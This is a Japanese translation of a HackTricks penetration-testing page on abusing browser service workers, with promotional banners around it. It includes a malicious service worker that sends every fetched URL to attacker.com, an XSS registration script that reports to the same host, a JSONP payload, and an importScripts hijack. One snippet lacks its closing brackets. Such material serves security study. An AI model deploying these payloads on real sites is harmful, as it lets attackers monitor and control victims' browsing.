hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

Service Workersの悪用

htARTE（HackTricks AWS Red Team Expert）からAWSハッキングをゼロからヒーローまで学ぶ！

• サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝してみたいですか？または、PEASSの最新バージョンにアクセスしたいですか？または、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！
• The PEASS Familyを発見し、独占的なNFTコレクションを見つけます
• 公式PEASS＆HackTricks swagを手に入れます
• 💬 Discordグループに参加するか、telegramグループに参加するか、またはTwitterで私をフォローする🐦@carlospolopm。
• ハッキングトリックを共有するために hacktricksリポジトリ と hacktricks-cloudリポジトリ にPRを提出してください。

最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの技術スタック全体で問題を見つけます。無料でお試しください 今日。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

---

基本情報

サービスワーカーは、ブラウザでバックグラウンドで実行されるスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、オフラインおよびバックグラウンド処理の機能を強化します。サービスワーカーの詳細情報はこちらで見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御できます。

既存のサービスワーカーの確認

既存のサービスワーカーは、開発者ツールのアプリケーションタブのサービスワーカーセクションで確認できます。別の方法として、より詳細なビューを得るためにchrome://serviceworker-internalsを訪れることができます。

プッシュ通知

プッシュ通知の許可は、サービスワーカーが直接サーバーと通信する能力に直接影響を与えます。許可が拒否されると、サービスワーカーの潜在的な脅威を抑制します。逆に、許可を与えると、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。

サービスワーカーの作成に対する攻撃

この脆弱性を悪用するには、次のものを見つける必要があります：

• サーバーに任意のJSファイルをアップロードする方法と、アップロードされたJSファイルのサービスワーカーをロードするXSS
• 出力を操作できる脆弱なJSONPリクエストと、任意のJSコードで出力を操作することができるXSS、そして悪意のあるサービスワーカーをロードするペイロードでJSONPをロードするXSS。

以下の例では、fetchイベントをリッスンし、取得されたURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録するコードを示します（これはサーバーにアップロードするためのコードまたは脆弱なJSONP応答を介してロードするためのコードです）：

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

そして、これがワーカーを登録するコードです（XSSを悪用して実行できるはずのコード）。この場合、攻撃者のサーバーにGETリクエストが送信され、サービスワーカーの登録が成功したかどうかが通知されます：

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

脆弱なJSONPエンドポイントを悪用する場合は、値をvar swの内部に配置する必要があります。例：

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Service Worker (SW) の悪用に特化した C2 があり、Shadow Workers と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。

24時間キャッシュディレクティブ は、XSSの脆弱性修正後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された service worker (SW) の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために service worker kill-switch を作成することが推奨されています。

DOM Clobbering を介した SW での importScripts の悪用

Service Worker から呼び出される importScripts 関数は、異なるドメインからスクリプトをインポート することができます。この関数が 攻撃者が変更できるパラメータ を使用して呼び出された場合、彼は 自身のドメインから JS スクリプトをインポート して XSS を取得できます。

これは CSP の保護をバイパスします。

脆弱なコードの例:

• index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>

• sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobberingを使用する

DOM Clobberingについての詳細は、以下を確認してください:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

SWが**importScriptsを呼び出すURL/ドメインがHTML要素内にある場合、DOM Clobberingを使用してそれを変更し、SWが自分のドメインからスクリプトを読み込むように**することが可能です。

これの例については、参照リンクを確認してください。

参考文献

• https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering

最も重要な脆弱性を見つけて、迅速に修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。無料でお試しください 今すぐ。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE（HackTricks AWS Red Team Expert）!

• サイバーセキュリティ企業で働いていますか？ HackTricksで会社を宣伝したいですか？または、PEASSの最新バージョンにアクセスしたいですか？または、HackTricksをPDFでダウンロードしたいですか？SUBSCRIPTION PLANSをチェックしてください！
• The PEASS Familyを発見し、独占的なNFTsコレクションを見つけます
• 公式PEASS＆HackTricks swagを手に入れます
• 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
• ハッキングトリックを共有するために hacktricks repo と hacktricks-cloud repo にPRを提出してください。